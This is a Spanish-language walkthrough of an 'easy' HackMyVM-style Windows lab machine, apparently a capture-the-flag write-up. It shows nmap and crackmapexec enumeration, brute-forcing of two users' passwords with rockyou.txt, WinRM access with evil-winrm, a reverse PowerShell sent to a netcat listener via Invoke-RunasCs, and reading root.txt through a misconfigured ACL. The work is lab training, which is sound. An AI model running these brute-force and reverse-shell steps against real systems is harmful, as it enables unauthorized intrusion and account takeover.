Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, curiosamente son puertos tipicos de windows
❯ nmap 192.168.100.83 -Pn
Nmap scan report for 192.168.100.83
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Para hacer un reconocimiento basico podemos usar crackmapexec
, al pasarle la ip por SMB detecta el nombre del equipo, este es local
y no pertenece a un dominio
❯ crackmapexec smb 192.168.100.83
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
Podriamos intentar listar recursos con una sesión nula
pero aqui no nos funcionará
❯ crackmapexec smb 192.168.100.83 -u null -p '' --shares
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB 192.168.100.83 445 WIN-IURF14RBVGV [-] WIN-IURF14RBVGV\null: STATUS_LOGON_FAILURE
Si vamos a la web nos recuerda que es una maquina windows de nivel easy
Shell - nica
El usuario que nos muestra el mensaje es nica
, podemos aplicar fuerza bruta a la contraseña con el rockyou.txt
, pasados unos segundos obtenemos la valida
❯ crackmapexec smb 192.168.100.83 -u nica -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB 192.168.100.83 445 WIN-IURF14RBVGV [-] WIN-IURF14RBVGV\nica:123456 STATUS_LOGON_FAILURE
SMB 192.168.100.83 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\nica:hardcore
Aunque tenemos una credencial válida, no nos aporta nada en los recursos smb
❯ crackmapexec smb 192.168.100.83 -u nica -p hardcore --shares
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB 192.168.100.83 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\nica:hardcore
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Enumerated shares
SMB 192.168.100.83 445 WIN-IURF14RBVGV Share Permissions Remark
SMB 192.168.100.83 445 WIN-IURF14RBVGV ----- ----------- ------
SMB 192.168.100.83 445 WIN-IURF14RBVGV ADMIN$ Admin remota
SMB 192.168.100.83 445 WIN-IURF14RBVGV C$ Recurso predeterminado
SMB 192.168.100.83 445 WIN-IURF14RBVGV IPC$ READ IPC remota
Al cambiar de protocolo a winrm
nos devuelve Pwn3d!
por lo que el usuario pertenece al grupo Remote Management Users
y nos permitira conectarnos
❯ crackmapexec winrm 192.168.100.83 -u nica -p hardcore
SMB 192.168.100.83 5985 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV)
HTTP 192.168.100.83 5985 WIN-IURF14RBVGV [*] http://192.168.100.83:5985/wsman
HTTP 192.168.100.83 5985 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\nica:hardcore (Pwn3d!)
Podemos simplemente conectarnos usando evil-winrm
y obtener una powershell como el usuario nica
, en este punto podemos leer la primera flag
con este usuario
❯ evil-winrm -i 192.168.100.83 -u nica -p hardcore
PS C:\Users\nica\Documents> whoami
win-iurf14rbvgv\nica
PS C:\Users\nica\Documents> type ..\user.txt
HMVWINGIFT
PS C:\Users\nica\Documents>
Shell - akanksha
Ya dentro del equipo podemos enumerar todos los usuarios
existentes a nivel local
PS C:\Users\nica\Documents> net user
Cuentas de usuario de \\
-------------------------------------------------------------------------------
Administrador akanksha DefaultAccount
Invitado nica WDAGUtilityAccount
El comando se ha completado con uno o m s errores.
PS C:\Users\nica\Documents>
Existe otro usuario llamado akanksha
, repetimos el proceso de bruteforcear la contraseña
y nuevamente pasados unos segundos obtenemos la correcta
❯ crackmapexec smb 192.168.100.83 -u akanksha -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB 192.168.100.83 445 WIN-IURF14RBVGV [-] WIN-IURF14RBVGV\akanksha:123456 STATUS_LOGON_FAILURE
SMB 192.168.100.83 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\akanksha:sweetgirl
Y aunque esta credencial es válida a nivel de smb
es invalida para el servicio winrm
❯ crackmapexec smb 192.168.100.83 -u akanksha -p sweetgirl
SMB 192.168.100.83 445 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 x64 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV) (signing:False) (SMBv1:False)
SMB 192.168.100.83 445 WIN-IURF14RBVGV [+] WIN-IURF14RBVGV\akanksha:sweetgirl
❯ crackmapexec winrm 192.168.100.83 -u akanksha -p sweetgirl
SMB 192.168.100.83 5985 WIN-IURF14RBVGV [*] Windows 10.0 Build 17763 (name:WIN-IURF14RBVGV) (domain:WIN-IURF14RBVGV)
HTTP 192.168.100.83 5985 WIN-IURF14RBVGV [*] http://192.168.100.83:5985/wsman
HTTP 192.168.100.83 5985 WIN-IURF14RBVGV [-] WIN-IURF14RBVGV\akanksha:sweetgirl
Ya que tenemos una shell podriamos pensar en runas
pero nuestra shell no es interactiva por lo que importamos el módulo de RunasCs para pasar ese problema
PS C:\Users\nica\Documents> upload Invoke-RunasCs.ps1
Info: Uploading Invoke-RunasCs.ps1 to C:\Users\nica\Documents\Invoke-RunasCs.ps1
Data: 117712 bytes of 117712 bytes copied
Info: Upload successful!
PS C:\Users\nica\Documents> Import-Module .\Invoke-RunasCs.ps1
PS C:\Users\nica\Documents>
Haciendo uso de la función Invoke-RunasCs
y pasandole las credenciales de akanksha podemos ejecutar una powershell
e indicar que la envie remotamente
PS C:\Users\nica\Documents> Invoke-RunasCs akanksha sweetgirl powershell -Remote 192.168.100.70:443
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-276a1c$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1604 created in background.
PS C:\Users\nica\Documents>
Al hacerlo recibimos en nuestro listener una powershell
interactiva como akanksha
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.83
Windows PowerShell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.
PS C:\Windows\System32> whoami
win-iurf14rbvgv\akanksha
PS C:\Windows\System32>
El usuario akanksha pertenece al grupo local personalizado llamado Idministritirs
sin embargo no tiene privilegios
que nos ayuden a movernos a otro usuario
PS C:\Windows\System32> whoami /groups
INFORMACIÓN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos
============================================ ============== ============================================== ========================================================================
Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs Alias S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE Grupo conocido S-1-5-4 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESIÓN EN LA CONSOLA Grupo conocido S-1-2-1 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compañía Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local Grupo conocido S-1-5-113 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticación NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta S-1-16-8192
PS C:\Windows\System32> whoami /priv
INFORMACIÓN DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci¢n Estado
============================= ============================================ =============
SeChangeNotifyPrivilege Omitir comprobación de recorrido Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
PS C:\Windows\System32>
Sin embargo si con icacls
miramos los privilegios de la flag root.txt
este grupo tiene privilegios F
o full sobre este archivo por lo que podemos leerla sin escalar
PS C:\Users\Administrador> icacls root.txt
root.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administradores:(F)
WIN-IURF14RBVGV\Administrador:(F)
WIN-IURF14RBVGV\Idministritirs:(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administradores:(I)(F)
WIN-IURF14RBVGV\Administrador:(I)(F)
Se procesaron correctamente 1 archivos; error al procesar 0 archivos
PS C:\Users\Administrador> type root.txt
HMV1STWINDOWZ
PS C:\Users\Administrador>